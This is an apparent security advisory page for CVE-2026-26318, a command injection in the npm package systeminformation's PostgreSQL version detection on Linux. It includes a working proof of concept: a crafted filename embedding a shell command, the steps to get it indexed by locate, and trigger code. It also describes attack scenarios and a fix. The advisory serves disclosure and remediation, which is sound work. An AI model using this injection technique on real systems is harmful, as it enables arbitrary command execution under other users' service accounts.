Monitor vulnerabilities like this one. Sign up free to get alerted when software you use is affected.
8.8

PostgreSQL Version Detection Allows Malicious File Execution on Linux

CVE-2026-26318 GHSA-5vv4-hvf7-2h46
Summary

The systeminformation package for Linux allows an attacker to execute malicious files on the system when detecting the PostgreSQL version. This is a medium-risk issue that affects systeminformation users who run Linux. To fix this, update to the latest version of systeminformation, which has already addressed this vulnerability.

What to do
  • Update plusinnovations systeminformation to version 5.31.0.
Affected software
VendorProductAffected versionsFix available
plusinnovations systeminformation <= 5.30.7 5.31.0
systeminformation systeminformation <= 5.31.0
Original title
Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation
Original description
# Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation

**Package:** systeminformation (npm)
**Tested Version:** 5.30.7
**Affected Platform:** Linux
**Author:** Sebastian Hildebrandt
**Weekly Downloads:** ~5,000,000+
**Repository:** https://github.com/sebhildebrandt/systeminformation
**Severity:** Medium
**CWE:** CWE-78 (OS Command Injection)

---

### The Vulnerable Code Path

Inside the `versions()` function, when detecting the PostgreSQL version on Linux, the code does this:

```javascript
// lib/osinfo.js — lines 770-776

exec('locate bin/postgres', (error, stdout) => {
if (!error) {
const postgresqlBin = stdout.toString().split('\n').sort();
if (postgresqlBin.length) {
exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', (error, stdout) => {
// parses version string...
});
}
}
});
```

Here's what happens step by step:

1. It runs `locate bin/postgres` to search the filesystem for PostgreSQL binaries
2. It splits the output by newline and sorts the results alphabetically
3. It takes the **last element** (highest alphabetically)
4. It concatenates that path directly into a new `exec()` call with `+ ' -V'`

**No `sanitizeShellString()`. No path validation. No `execFile()`. Raw string concatenation into `exec()`.**

The `locate` command reads from a system-wide database (`plocate.db` or `mlocate.db`) that indexes all filenames on the system. If any indexed filename contains shell metacharacters — specifically semicolons — those characters will be interpreted by the shell when passed to `exec()`.

---

## Exploitation

### Prerequisites

For this vulnerability to be exploitable, the following conditions must be met:

1. **Target system runs Linux** — the vulnerable code path is inside an `if (_linux)` block
2. **`locate` / `plocate` is installed** — common on Ubuntu, Debian, Fedora, RHEL
3. **PostgreSQL binary exists in the locate database** — so `locate bin/postgres` returns results (otherwise the code falls through to a safe `psql -V` fallback)
4. **The attacker can create files on the filesystem** — in any directory that gets indexed by `updatedb`
5. **The locate database gets updated** — `updatedb` runs daily via systemd timer (`plocate-updatedb.timer`) or cron on most distros

### Step 1 — Verify the Environment

On the target machine, confirm locate is available and running:

```
which locate
# /usr/bin/locate

systemctl list-timers | grep plocate
# plocate-updatedb.timer plocate-updatedb.service
# (runs daily, typically around 1-2 AM)
```

Check who owns the locate database:

```
ls -la /var/lib/plocate/plocate.db
# -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db
```

Database is root-owned and updated by root. Regular users cannot update it directly, but `updatedb` runs on a daily schedule and indexes all readable files.

### Step 2 — Craft the Malicious File Path

The key insight is that **Linux allows semicolons in filenames**, and `exec()` passes strings through `/bin/sh -c` which **interprets semicolons as command separators**.

Create a file whose path contains an injected command:

```
mkdir -p "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin"
touch "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres"
```

Verify it exists:

```
find /var/tmp -name postgres
# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres
```

This file needs to end up in the `locate` database. On a real system, this happens automatically when `updatedb` runs overnight. For testing purposes:

```
sudo updatedb
```

Then verify locate picks it up:

```
locate bin/postgres
# /usr/lib/postgresql/14/bin/postgres
# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres
```

### Step 3 — Understand the Sort Trick

The vulnerable code sorts the locate results alphabetically and takes the **last** element:

```javascript
const postgresqlBin = stdout.toString().split('\n').sort();
exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', ...);
```

Alphabetically, `/var/` sorts **after** `/usr/`. So our malicious path naturally becomes the selected one:

```
Node.js sort order:
[0] /usr/lib/postgresql/14/bin/postgres ← legitimate
[1] /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres ← selected (last)
```

Quick verification:

```
node -e "
const paths = [
'/usr/lib/postgresql/14/bin/postgres',
'/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'
];
console.log('Sorted:', paths.sort());
console.log('Selected (last):', paths[paths.length - 1]);
"
```

Output:

```
Sorted: [
'/usr/lib/postgresql/14/bin/postgres',
'/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'
]
Selected (last): /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres
```

### Step 4 — Trigger the Vulnerability

Now when any application using systeminformation calls `versions()` requesting the postgresql version, the injected command fires:

```javascript
const si = require('systeminformation');

// This is a normal, innocent API call
si.versions('postgresql').then(data => {
console.log(data);
});
```

Internally, the library builds and executes this command:

```
/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres -V
```

The shell (`/bin/sh -c`) interprets this as three separate commands:

```
/var/tmp/x → fails silently (not executable)
touch /tmp/SI_RCE_PROOF → ATTACKER'S COMMAND EXECUTES
/bin/postgres -V → runs normally, returns version
```

### Step 5 — Verify Code Execution

```
ls -la /tmp/SI_RCE_PROOF
# -rw-rw-r-- 1 appuser appuser 0 Feb 14 15:30 /tmp/SI_RCE_PROOF
```

The file exists. Arbitrary command execution confirmed.

The injected command runs with **whatever privileges the Node.js process has**. In a monitoring dashboard or backend API context, that's typically the application service account.

---

## Real-World Attack Scenarios

### Scenario 1 — Shared Hosting / Multi-Tenant Server

A low-privileged user on a shared server creates the malicious file in `/tmp` or their home directory. The hosting provider runs a monitoring agent that uses `systeminformation` for health dashboards. Next time the agent calls `versions()`, the attacker's command executes under the monitoring agent's (higher-privileged) service account.

### Scenario 2 — CI/CD Pipeline Poisoning

A malicious contributor submits a PR that includes a build step creating files with crafted names. If the CI pipeline uses `systeminformation` for environment reporting (common in test harnesses and build dashboards), the injected commands execute in the CI runner context — potentially leaking secrets, tokens, and deployment keys.

### Scenario 3 — Container / Kubernetes Escape

In containerized environments where `/var` or `/tmp` sits on a shared volume, a compromised container creates the malicious file. When the host-level monitoring agent (running `systeminformation`) calls `versions()`, the injected command executes on the host, breaking out of the container boundary.

---

## Suggested Fix

Replace `exec()` with `execFile()` for the PostgreSQL binary version check. `execFile()` does not spawn a shell, so metacharacters in the path are treated as literal characters:

```javascript
const { execFile } = require('child_process');

exec('locate bin/postgres', (error, stdout) => {
if (!error) {
const postgresqlBin = stdout.toString().split('\n')
.filter(p => p.trim().length > 0)
.sort();
if (postgresqlBin.length) {
execFile(postgresqlBin[postgresqlBin.length - 1], ['-V'], (error, stdout) => {
// ... parse version
});
}
}
});
```

Additionally, the locate output should be validated against a safe path pattern before use:

```javascript
const safePath = /^[a-zA-Z0-9/_.-]+$/;
const postgresqlBin = stdout.toString().split('\n')
.filter(p => safePath.test(p.trim()))
.sort();
```

---

## Disclosure

- **Reported via:** GitHub Private Security Advisory
- **Advisory URL:** https://github.com/sebhildebrandt/systeminformation/security/advisories/new
- **Security Contact:** [email protected]
nvd CVSS3.1 8.8
Vulnerability type
CWE-78 OS Command Injection
Published: 18 Feb 2026 · Updated: 11 Mar 2026 · First seen: 6 Mar 2026